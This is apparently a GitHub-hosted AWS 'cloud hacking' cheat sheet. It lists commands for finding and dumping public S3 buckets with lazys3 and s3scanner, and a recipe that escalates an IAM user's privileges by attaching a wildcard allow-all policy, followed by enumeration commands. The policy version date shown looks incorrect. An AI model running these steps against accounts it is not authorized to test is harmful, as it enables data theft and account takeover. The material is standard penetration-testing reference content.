 Lifka

Init Cloud hacking cheat sheet

1f8d363 · 3 years ago 


108 lines (79 loc) · 2.02 KB


Preview


Code

Blame

Raw







Cloud hacking cheat sheet

Amazon

Install awscli

```
pip3 install awscli
```

S3 Bucket Enumeration

Search for public buckets from a company using lazys3

```
ruby lazys3.rb [COMPANY]
```

Search for public buckets from a company using s3scanner

```
python3 ./s3scanner.py sites.txt
```

Dump all open buckets and log both open and closed buckets using s3scanner

```
python3 ./s3scanner.py --include-closed --out-file found.txt --dump names.txt
```



Save the file listings of all open buckets to a file using s3scanner

```
python ./s3scanner.py --list names.txt
```



Escalate IAM User Privileges by Exploiting Misconfigured User Policy

```
vim user-policy.json
```



Insert:

```
{
  "Version": "2011-09-11",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "*",
      "Resource": "*"
    }
  ]
}
```



Attach the created policy (user-policy) to the target IAM user's account:

```
aws iam create-policy --policy-name user-policy --policy-document file://user-policy.json
aws iam attach-user-policy --user-name [Target Username] --policy-arn arn:aws:iam::[Account ID]:policy/user-policy
```

View user policies

```
aws iam list-attached-user-policies --user-name [Target Username]
```



List users

```
aws iam list-users
```



List buckets

```
aws s3api list-buckets --query "Buckets[].Name"
```



List user policies

```
aws iam list-user-policies
```



List role policies

```
aws iam list-role-policies
```



List froup policies

```
aws iam list-group-policies
```



Create user

```
aws iam create-user
```



[<- Back to index](#)

License

© 2021 javierizquierdovera.com

Licensed under the [Apache License, Version 2.0](#) ([LICENSE-APACHE](#)) or the [MIT license](#) ([LICENSE-MIT](#)), at your option.

SPDX-License-Identifier: (Apache-2.0 OR MIT)